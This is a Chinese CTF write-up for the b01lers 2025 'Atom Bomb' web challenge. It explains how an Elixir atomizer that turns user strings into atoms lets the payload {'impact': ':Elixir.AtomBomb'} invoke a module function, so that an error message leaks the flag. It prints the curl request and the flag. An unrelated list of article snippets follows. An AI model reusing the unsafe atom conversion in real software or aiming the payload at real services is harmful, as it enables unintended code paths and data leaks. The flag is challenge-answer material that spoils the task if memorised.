利用Elixir中的原子特性 + 错误消息泄露 -- Atom Bomb
题目信息: This new atom bomb early warning system is quite strange…
题目使用 elixir 语言
一开始,我们会访问 /page.html
<!DOCTYPE html>
<!-- 设定文档语言为英语 -->
<html lang="en">
<head><!-- 设定字符编码为UTF-8 --><meta charset="UTF-8"><!-- 适配不同屏幕尺寸 --><meta name="viewport" content="width=device-width, initial-scale=1.0"><!-- 网页标题 --><title>Atom Bomb Alert System</title><style>body {/* 设置字体为Arial,若不可用则使用无衬线字体 */font-family: Arial, sans-serif;/* 深灰色背景 */background-color: #1a1a1a; /* 浅灰色文字 */color: #e0e0e0; /* 外边距为0 */margin: 0;/* 内边距为20px */padding: 20px;/* 使用弹性布局 */display: flex;/* 垂直排列子元素 */flex-direction: column;/* 水平居中内容 */align-items: center; }button {/* 红色背景 */background-color: #d9534f; /* 白色文字 */color: white;/* 无边框 */border: none;/* 内边距 */padding: 10px 20px;/* 圆角边框 */border-radius: 5px;/* 字体大小 */font-size: 16px;/* 鼠标悬停时显示手型光标 */cursor: pointer;/* 按钮下方间距 */margin-bottom: 20px; /* 背景颜色过渡效果 */transition: background-color 0.3s; }button:hover {/* 鼠标悬停时更深的红色 */background-color: #c9302c; }div {/* 宽度占容器的100% */width: 100%; /* 最大宽度为400px */max-width: 400px; /* 元素下方间距 */margin-bottom: 20px; /* 更深的卡片背景色 */background-color: #2a2a2a; /* 内边距 */padding: 15px;/* 深色边框 */border: 1px solid #444; /* 圆角边框 */border-radius: 5px;/* 深色阴影 */box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3); }h2 {/* 红色标题,强调紧急性 */color: #d9534f; /* 标题居中 */text-align: center;}h6 {/* 浅灰色副标题 */color: #bbb; /* 上方间距 */margin-top: 20px;/* 下方间距 */margin-bottom: 5px;}p {/* 段落深色背景 */background-color: #333; /* 段落深色边框 */border: 1px solid #555; /* 段落内边距 */padding: 10px;/* 段落圆角边框 */border-radius: 5px;/* 段落外边距 */margin: 5px 0 20px 0;}img {/* 图片最大宽度为容器的100% */max-width: 100%;/* 图片高度自适应 */height: auto;/* 图片深色边框 */border: 1px solid #444; /* 图片圆角边框 */border-radius: 5px;}#danger {/* 字体加粗 */font-weight: bold;/* 字体大小为1.2倍 */font-size: 1.2em;/* 红色文字 */color: #d9534f; /* 文字居中 */text-align: center;}/* 当屏幕宽度小于等于600px时的样式 */@media (max-width: 600px) {body {/* 减小内边距 */padding: 10px;}button {/* 按钮宽度占满容器 */width: 100%;}}</style>
</head>
<body><!-- 主标题 --><h2>Welcome to Atom Bomb Alert System</h2><!-- 点击按钮触发检查炸弹警报的函数 --><button onclick="check_alert()">Check for bomb alert</button><div><!-- 炸弹详情标题 --><h2>Bomb Details</h2><!-- 炸弹位置副标题 --><h6>Bomb Location</h6><!-- 用于显示炸弹位置的段落 --><p id="location"></p><!-- 炸弹高度副标题 --><h6>Bomb Altitude</h6><!-- 用于显示炸弹高度的段落 --><p id="altitude"></p><!-- 炸弹威力副标题 --><h6>Bomb Power</h6><!-- 用于显示炸弹威力的段落 --><p id="power"></p></div><div><!-- 危险评估标题 --><h2>Danger Assessment</h2><!-- 用于显示危险评估信息的段落 --><p id="danger"></p><!-- 用于显示原子炸弹爆炸图片的元素 --><img id="explosion" alt="Atom Bomb Explosion"></div>
</body>
</html><script>
/*** 从服务器获取炸弹信息* @returns {Promise<Object|null>} 包含炸弹信息的对象,如果出错或响应失败则返回null*/
async function get_bomb() {try {// 发送请求获取炸弹信息const responce = await fetch("/atom_bomb");if (responce.ok) {// 若响应成功,解析响应为JSON格式并返回return await responce.json();} else {// 若响应失败,返回nullreturn null;}} catch (error) {// 捕获并打印错误信息console.error(error.message);// 出错时返回nullreturn null;}
}/*** 检查炸弹的危险程度* @param {Object} bomb - 包含炸弹信息的对象* @returns {Promise<string|null>} 危险评估信息,如果出错或响应失败则返回null*/
async function check_bomb_danger(bomb) {// 将高度转换为特定格式(此处代码可能有误,推测是注释错误,原意可能不是转换为原子)bomb.altitude = ":" + bomb.altitude;// 构建请求体payload = {impact: {bomb: bomb}};try {// 发送POST请求检查炸弹危险程度const responce = await fetch("/bomb_impacts", {method: "POST",body: JSON.stringify(payload),headers: {"Content-Type": "application/json",},});if (responce.ok) {// 若响应成功,解析响应并返回危险评估信息return (await responce.json()).message;} else {// 若响应失败,返回nullreturn null;}} catch (error) {// 捕获并打印错误信息console.error(error.message);// 出错时返回nullreturn null;}
}/*** 检查炸弹警报并更新页面信息*/
async function check_alert() {// 获取炸弹信息const bomb = await get_bomb();// 获取用于显示炸弹位置、高度和威力的元素const location = document.getElementById("location");const altitude = document.getElementById("altitude");const power = document.getElementById("power");// 更新页面上的炸弹位置、高度和威力信息location.innerHTML = bomb.location;altitude.innerHTML = bomb.altitude;power.innerHTML = bomb.power;// 获取用于显示爆炸图片的元素const explosion = document.getElementById("explosion");// 更新爆炸图片的源地址explosion.src = `/images/atom${bomb.explosion_type}.png`;// 获取炸弹危险评估信息const message = await check_bomb_danger(bomb);// 获取用于显示危险评估信息的元素const danger = document.getElementById("danger");// 更新页面上的危险评估信息danger.innerHTML = message;
}// 页面加载时自动检查炸弹警报
check_alert();
</script>
// 定义一个名为 AtomBomb.Router 的模块,用于处理路由逻辑
defmodule AtomBomb.Router do// 使用 Phoenix.Router 模块,并禁用助手功能use Phoenix.Router, helpers: false// 导入 Plug.Conn 模块,用于处理连接相关操作import Plug.Conn// 导入 Phoenix.Controller 模块,用于处理控制器相关操作import Phoenix.Controller// 定义一个名为 :browser 的管道,用于处理浏览器请求pipeline :browser do// 配置该管道接受的请求格式为 HTMLplug :accepts, ["html"]// 设置安全的浏览器头信息plug :put_secure_browser_headersend// 定义一个名为 :api 的管道,用于处理 API 请求pipeline :api do// 配置该管道接受的请求格式为 JSONplug :accepts, ["json"]end// 定义一个路由作用域,所有路由路径都以根路径 "/" 开头,控制器命名空间为 AtomBombscope "/", AtomBomb do// 将该作用域下的请求通过 :browser 管道进行处理pipe_through :browser// 定义一个 GET 请求路由,当访问根路径 "/" 时,调用 PageController 模块的 :home 动作get "/", PageController, :homeend// 定义另一个路由作用域,所有路由路径都以根路径 "/" 开头,控制器命名空间为 AtomBombscope "/", AtomBomb do// 将该作用域下的请求通过 :api 管道进行处理pipe_through :api// 定义一个 GET 请求路由,当访问 "/atom_bomb" 路径时,调用 PageController 模块的 :get_atom_bomb 动作get "/atom_bomb", PageController, :get_atom_bomb// 定义一个 POST 请求路由,当访问 "/bomb_impacts" 路径时,调用 PageController 模块的 :get_bomb_impacts 动作post "/bomb_impacts", PageController, :get_bomb_impactsend
end
似乎只有此处存在输入
POST /bomb_impacts HTTP/2
Host: atom-bomb.atreides.b01lersc.tf
Content-Length: 99
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://atom-bomb.atreides.b01lersc.tf
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://atom-bomb.atreides.b01lersc.tf/page.html
Accept-Encoding: gzip, deflate, br
Priority: u=1, i{"impact":{"bomb":{"location":"idaho","power":1026,"altitude":":low_altitude","explosion_type":7}}}
继续分析其后端逻辑
// 定义一个名为 get_bomb_impacts 的控制器动作,用于获取炸弹影响信息// conn: 连接结构体,包含请求和响应的相关信息// params: 表示请求参数def get_bomb_impacts(conn, params) do// 调用 AtomBomb.atomizer 函数对请求参数进行处理params = AtomBomb.atomizer(params)// 调用 AtomBomb.calculate_bomb_danger_level 函数计算炸弹的危险等级,并将结果赋值给 danger_message 变量danger_message = AtomBomb.calculate_bomb_danger_level(params.impact.bomb)// 渲染名为 :danger_level 的视图模板,并传递危险等级信息作为 :danger_message 参数render(conn, :danger_level, danger_message: danger_message)
@doc """Converts params to atoms"""# 定义一个函数 atomizer,用于将映射类型的参数中的键转换为原子def atomizer(params) when is_map(params) do# 遍历映射中的每个键值对Enum.map(params, fn {key, val} -> # 根据 string_to_atom 函数的结果进行模式匹配case string_to_atom(key) do{:ok, key} -> # 如果转换成功,递归调用 atomizer 处理值,并返回新的键值对{key, atomizer(val)}:error -> # 如果转换失败,返回 nilnilendend)|> Enum.filter(fn val -> val != nil end)|> Map.newend# 定义一个函数 atomizer,用于处理列表类型的参数,递归调用 atomizer 处理列表中的每个元素def atomizer(params) when is_list(params) doEnum.map(params, &atomizer/1)end# 定义一个函数 atomizer,用于处理二进制类型的参数def atomizer(params) when is_binary(params) do# 检查字符串是否以 : 开头if String.at(params, 0) == ":" do# convert string to atom if it starts with :# 移除字符串开头的 :atom_string = String.slice(params, 1..-1//1)# 根据 string_to_atom 函数的结果进行模式匹配case string_to_atom(atom_string) do{:ok, val} -> # 如果转换成功,返回原子val:error -> # 如果转换失败,返回 nilnilendelse# 如果不以 : 开头,直接返回原字符串paramsendend# 定义一个函数 atomizer,用于处理其他类型的参数,直接返回原参数# any other value is left as isdef atomizer(params) doparamsend
@doc """Calculates the danger level of the atom bomb for the given location"""# 定义一个函数 calculate_bomb_danger_level,根据炸弹信息计算炸弹的危险等级def calculate_bomb_danger_level(bomb) do# 根据炸弹的高度确定缩放系数scaling = case bomb.altitude do:underground -> 0.05:surface -> 1.5:low_altitude -> 3.0:high_altitude -> 1.2:space -> 0.03end# 计算炸弹的实际威力power = scaling * bomb.power# 根据实际威力判断危险等级cond dopower < 200.0 -> "there is not much danger"power < 400.0 -> "you might get cancer"power < 800.0 -> "you should hide underground"power < 1300.0 -> "your house will be blown away"true -> "you might be cooked"endend
我们的目标应该是执行此处函数
# 定义一个函数 bomb,尝试读取 flag.txt 文件的内容,并返回包含炸弹信息的字符串def bomb() do# 尝试读取 flag.txt 文件flag = case File.read("flag.txt") do{:ok, flag} -> # 如果读取成功,返回文件内容flag{:error, _} -> # 如果读取失败,返回默认值"bctf{REDACTED}"end"The atom bomb detonated, and left in the crater there is a chunk of metal inscribed with #{flag}"end
根本搭不起来调试环境进,放弃 -------------------------------------------------------------------------------------------------------------------------------------
赛后
b01lers-ctf-2025-public/src/web/atombomb/solve at main · b01lers/b01lers-ctf-2025-public · GitHub
在 Elixir 中,原子(Atom) 是一种基本数据类型,用于表示固定值,其名称直接作为自身的值。原子是不可变的、常量,且通常用于代码中的标识符、状态标记或模式匹配。
核心特性:
-
名称即值
原子的值就是它的名字,例如:ok
、:error
、:hello
。不需要额外的赋值操作。 -
常量且高效
原子在内存中以唯一的形式存储(通过原子表),多次使用同一个原子不会重复占用内存。例如,无论使用多少次:ok
,内存中只有一份。 -
语法形式
- 简单原子:以冒号开头,后接小写字母、数字、下划线或
@
,例如:ok
、:status_code
。 - 带特殊字符的原子:用双引号包裹,例如
:"hello world!"
、:"123@email.com"
。
- 简单原子:以冒号开头,后接小写字母、数字、下划线或
常见用途:
-
模式匹配与函数返回值
case File.read("file.txt") do{:ok, content} -> IO.puts("成功读取:#{content}"){:error, reason} -> IO.puts("失败原因:#{reason}") end
函数常用
:ok
/:error
表示操作结果。 -
作为标识符
用于标识选项或配置,例如:
String.split("a,b,c", ",", trim: true) # `trim: true` 中的 `:trim` 是原子
-
模块名称
模块名本质是原子。例如IO.puts/1
中的IO
是原子Elixir.IO
的语法糖::"Elixir.IO".puts("Hello") # 等同于 IO.puts("Hello")
在 Elixir 中,原子可以直接或间接用于调用函数
漏洞的核心逻辑
def atomizer(params) when is_map(params) doEnum.map(params, fn {key, val} -> case string_to_atom(key) do{:ok, key} -> {key, atomizer(val)}:error -> nilendend)|> Enum.filter(fn val -> val != nil end)|> Map.new
enddef atomizer(params) when is_list(params) doEnum.map(params, &atomizer/1)
enddef atomizer(params) when is_binary(params) doif String.at(params, 0) == ":" do# convert string to atom if it starts with :# remove leading :atom_string = String.slice(params, 1..-1//1)case string_to_atom(atom_string) do{:ok, val} -> val:error -> nilendelseparamsend
end# any other value is left as is
def atomizer(params) doparams
end
-
服务器如何处理请求:
- 当你发送一个JSON请求到
/bomb_impacts
接口时,服务器会调用AtomBomb.atomizer
函数处理参数。 - 这个函数会将参数中的键(key)和以冒号开头的值(value)转换为原子(比如
":apple"
→:apple
)。
- 当你发送一个JSON请求到
-
危险的转换:
- 如果你发送一个参数值为
":Elixir.AtomBomb"
,它会被转换为原子:Elixir.AtomBomb
。 - 在Elixir中,
Module.function()
本质是调用原子:Elixir.Module
的function
方法。 - 所以
params.impact.bomb
会变成调用:Elixir.AtomBomb.bomb()
函数,而这个函数直接返回了包含flag的字符串!
- 如果你发送一个参数值为
-
触发错误泄露flag:
- 服务器后续代码试图访问
bomb.altitude
(认为bomb
是一个map)。 - 但实际上
bomb
此时是一个字符串(flag就在这个字符串里),访问不存在的字段会报错。 - 服务器的错误处理直接把错误信息返回给用户,于是你就能看到flag了!
- 服务器后续代码试图访问
攻击步骤
-
构造一个特殊的JSON:
{"impact": ":Elixir.AtomBomb"}
- 这里的
":Elixir.AtomBomb"
会被服务器转换为原子:Elixir.AtomBomb
- 这里的
-
发送这个JSON到服务器:
curl -X POST http://localhost:6888/bomb_impacts \-H "Content-Type: application/json" \--data '{"impact": ":Elixir.AtomBomb"}'
-
服务器处理过程:
# 定义 get_bomb_impacts 函数,处理获取炸弹影响信息的请求def get_bomb_impacts(conn, params) do# 调用 AtomBomb.atomizer 函数处理传入的参数params = AtomBomb.atomizer(params)# 调用 AtomBomb.calculate_bomb_danger_level 函数计算炸弹的危险等级,并获取危险信息danger_message = AtomBomb.calculate_bomb_danger_level(params.impact.bomb)# 渲染 :danger_level 视图并传递危险信息render(conn, :danger_level, danger_message: danger_message)end
- 参数处理 → 将
impact
转换为:Elixir.AtomBomb
- 试图调用
:Elixir.AtomBomb.bomb()
→ 返回包含flag的字符串 - 后续代码访问
bomb.altitude
失败 → 报错信息中包含这个字符串
- 最终结果:
服务器返回的错误信息中会直接显示:"The atom bomb detonated...bctf{n0w_w3_ar3_a1l_d3ad_:(_8cd12c17102ac269}"
类比理解
假设有一个自动售货机:
- 正常操作:投入硬币 → 选择饮料(比如输入
{"drink": "cola"}
) - 漏洞利用:输入一个特殊指令
{"drink": ":giveMeMoney"}
- 售货机错误地执行了内部函数
:giveMeMoney()
→ 直接吐钱
相关文章:
利用Elixir中的原子特性 + 错误消息泄露 -- Atom Bomb
题目信息: This new atom bomb early warning system is quite strange… 题目使用 elixir 语言 一开始,我们会访问 /page.html <!DOCTYPE html> <!-- 设定文档语言为英语 --> <html lang"en"> <head><!-- 设定字符编码为UTF-8 --><…...
numpy pandas
视频链接 numpy numpy是基于一个矩阵的运算 矩阵的属性 import numpy as np# 把一个列表转换成矩阵的方法 array np.array([[1,2,3],[3,4,5]])# 打印矩阵 print(array)# 维度 print(number of dim:,array.ndim)# 行数和列数 print(shape:,array.shape)# 总共有多少个元素在…...
Amazon Redshift 使用场景解析与最佳实践
作为 AWS 云上数据仓库服务的核心成员,Amazon Redshift 凭借其高性能、可扩展性与经济性,正在成为越来越多企业实现数据驱动决策的首选方案。本文将解析 Redshift 的典型使用场景,并分享几项实用的落地最佳实践,帮助企业在数据仓库…...
STM32F446 RTC在VDD/VDDA关闭后失振问题的分析与解决
【原创】STM32F446 RTC在VDD/VDDA关闭后失振问题的分析与解决 作者: 思考的味道[你的ID] | weix_42368227 版权声明: 禁止未经授权转载 1. 问题描述 在某低功耗STM32F446项目中,采用以下供电方案: VDD:由DC-DC 3.3V提供(主电源…...
SSM框架(Spring + Spring MVC + MyBatis)整合配置的详细步骤
以下是 SSM框架(Spring Spring MVC MyBatis)整合配置的详细步骤,适用于 Maven 项目。 (一)、pom.xml中添加相关依赖 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"ht…...

Elasticsearch 中的索引模板:如何使用可组合模板
作者:来自 Elastic Kofi Bartlett 探索可组合模板以及如何创建它们。 更多阅读: Elasticsearch:可组合的 Index templates - 7.8 版本之后 想获得 Elastic 认证吗?查看下一期 Elasticsearch Engineer 培训的时间! El…...
内存泄漏系列专题分析之七:高通相机CamX--Android通用ION(dmabuf)内存分配和释放原理
【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了:内存泄漏系列专题分析之六:高通camx 内存泄漏测试的未回收问题分析 这一篇我们开始讲:内存泄漏系列专题分析之七:高通相机CamX--Android通用ION(dmabuf)内存分配和释放原理 目录 一、背景 二、…...

【LeetCode 42】接雨水(单调栈、DP、双指针)
题面: 思路: 能接雨水的点,必然是比两边都低(小)的点。有两种思路,一种是直接计算每个点的最大贡献(也就是每个点在纵向上最多能接多少水),另一种就是计算每个点在横向上…...

【JS逆向基础】前端基础-HTML与CSS
1,flask框架 以下是一个使用flask框架写成的serve程序 # noinspection PyUnresolvedReferences #Flash框架的基本内容from flask import Flask app Flask(__name__)app.route(/index) def index():return "hello index"app.route(/login) def login():re…...
什么是HTML、CSS 和 JavaScript?
HTML、CSS 和 JavaScript 是构建网页的三大核心技术,它们分工明确又紧密协作。接下来我将分别介绍三者的定义、功能,并阐述它们如何共同构成网页,最后推荐学习资源。 一、HTML:网页的骨架与内容基础 HTML(HyperText …...

手机网页提示ip被拉黑名单什么意思?怎么办
当您使用手机浏览网页时,突然看到“您的IP地址已被列入黑名单”的提示,是否感到困惑和不安?这种情况在现代网络生活中并不罕见,但确实会给用户带来诸多不便。本文将详细解释IP被拉黑的含义、常见原因,并提供一系列实…...

CCF编程能力等级认证 一级 第一次课
介绍 CCF 编程能力等级认证(GESP)为青少年计算机和编程学习者提供学业能力验证的规则和平台,由中国计算机学会发起并主办。 每年考试分四次,时间是每年的3月、6月、9月、12月,以当年每期公布的时间为准。 GESP适用年…...

SpringBoot 讯飞星火AI WebFlux流式接口返回 异步返回 对接AI大模型 人工智能接口返回
介绍 用于构建基于 WebFlux 的响应式 Web 应用程序。集成了 Spring WebFlux 模块,支持响应式编程模型,构建非阻塞、异步的 Web 应用。WebFlux 使用了非阻塞的异步模型,能够更好地处理高并发请求。适合需要实时数据推送的应用场景。 WebClie…...

Python爬虫中time.sleep()与动态加载的配合使用
一、动态加载网页的挑战 动态加载网页是指网页的内容并非一次性加载完成,而是通过JavaScript等技术在用户交互或页面加载过程中逐步加载。这种设计虽然提升了用户体验,但对于爬虫来说,却增加了抓取的难度。传统的爬虫方法,如简单…...
学习Cesium Entities
🌐 Cesium中的Entities系统趣味学习 📊 Entities系统架构流程图 #mermaid-svg-Lkue5O3gYOkEVSbD {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-Lkue5O3gYOkEVSbD .error-icon{fill:#552222;}#mermaid-svg-Lku…...
如何减少锁竞争并细化锁粒度以提高 Rust 多线程程序的性能?
在并发编程中,锁(Lock)是一种常用的同步机制,用于保护共享数据免受多个线程同时访问造成的竞态条件(Race Condition)。然而,不合理的锁使用会导致严重的性能瓶颈,特别是在高并发场景…...
Logback官方文档翻译章节目录
Logback官方文档翻译章节目录 第一章 Logback简介 第二章 Logback的架构(一) Logback的架构(二) Logback的架构(三) 持续更新中…...

AtCoder Beginner Contest 404 A-E 题解
还是ABC好打~比ARC好打多了( 题解部分 A - Not Found 给定你一个长度最大25的字符串,任意输出一个未出现过的小写字母 签到题,map或者数组下标查询一下就好 #include<bits/stdc.h>using namespace std;#define int long long #def…...

【mysql】常用命令
一 系统mysql用户密码查询 1、在工程目录如/usr/local/httpd/下的*.php中查找类似有db.inf的文件 以php为例。 2、在代码文件中确认有数据库连接的的功能实现 例如: $dbconf parse_ini_file(/usr/local/httpd/conf/db.inf); $link mysql_connect($dbconf[d…...

macOS Arduino IDE离线安装ESP8266支持包
其实吧,本来用platformio也是可以的,不过有时候用Arduino IDE可能更快一些,因为以前一直是Arduino.app和Arduino IDE.app共存了一段时间,后来下决心删掉Arduino.app并升级到最新的Arduino IDE.app。删除了旧的支持板级支持包之后就…...

网络靶场基础知识
一、网络靶场的核心概念 网络靶场(Cyber Range)是一种基于虚拟化和仿真技术的网络安全训练与测试平台,通过模拟真实网络环境和业务场景,为攻防演练、漏洞验证、安全测试和人才培养提供安全可控的实验空间。其核心目标是通过“虚实…...
基于Partial Cross Entropy的弱监督语义分割实战指南
一、问题背景:弱监督学习的挑战 在计算机视觉领域,语义分割任务面临最大的挑战之一是**标注成本**。以Cityscapes数据集为例,单张图像的像素级标注需要约90分钟人工操作。这催生了弱监督学习(Weakly Supervised Learning)的研究方向,其中partial cross entropy loss(部…...
【算法基础】选择排序算法 - JAVA
一、算法基础 1.1 什么是选择排序 选择排序是一种简单直观的排序算法,它的工作原理是:首先在未排序序列中找到最小(或最大)元素,存放到排序序列的起始位置,然后再从剩余未排序元素中继续寻找最小…...
电商平台的流量秘密:代理IP在用户行为分析中的角色
在电商江湖中,流量是氧气,用户行为数据是DNA。当你在电商平台点击商品、加入购物车时,背后有一套精密的系统正在分析你的每个动作。而在这套系统的运作中,代理IP正扮演着"隐形推手"的角色——它既是数据采集的"隐身…...
批量清洗与修改 YOLO 标签:删除与替换指定类别
在使用 YOLO 格式的数据进行训练或部署前,常常需要对标签文件进行清洗或修改。本文整理了两种常见场景的 Python 脚本:删除指定类别 和 修改某类为其他类,并支持自动打印检测到该类别的文件名,帮助你快速定位问题数据。 …...

Python项目源码57:数据格式转换工具1.0(csv+json+excel+sqlite3)
1.智能路径处理:自动识别并修正文件扩展名,根据转换类型自动建议目标路径,实时路径格式验证,自动补全缺失的文件扩展名。 2.增强型预览功能:使用pandastable库实现表格预览,第三方模块自己安装一下&#x…...
TypeScript 中,属性修饰符
在 TypeScript 中,属性修饰符(Property Modifiers)是用于修饰类的属性或方法的关键字,它们可以改变属性或方法的行为和访问权限。TypeScript 提供了三种主要的属性修饰符:public、private 和 protected。此外ÿ…...

雷赛伺服电机
ACM0经济 编码器17位: ACM1基本 编码器23位磁编, ACM2通用 编码器24位光电, 插头定义:...
基础编程题目集 6-8 简单阶乘计算
本题要求实现一个计算非负整数阶乘的简单函数。 函数接口定义: int Factorial( const int N ); 其中N是用户传入的参数,其值不超过12。如果N是非负整数,则该函数必须返回N的阶乘,否则返回0。 裁判测试程序样例: #in…...

【deepseek教学应用】001:deepseek如何撰写教案并自动实现word排版
本文讲述利用deepseek如何撰写教案并自动实现word高效完美排版。 文章目录 一、访问deepseek官网二、输入教案关键词三、格式转换四、word进一步排版 一、访问deepseek官网 官网:https://www.deepseek.com/ 进入主页后,点击【开始对话】,如…...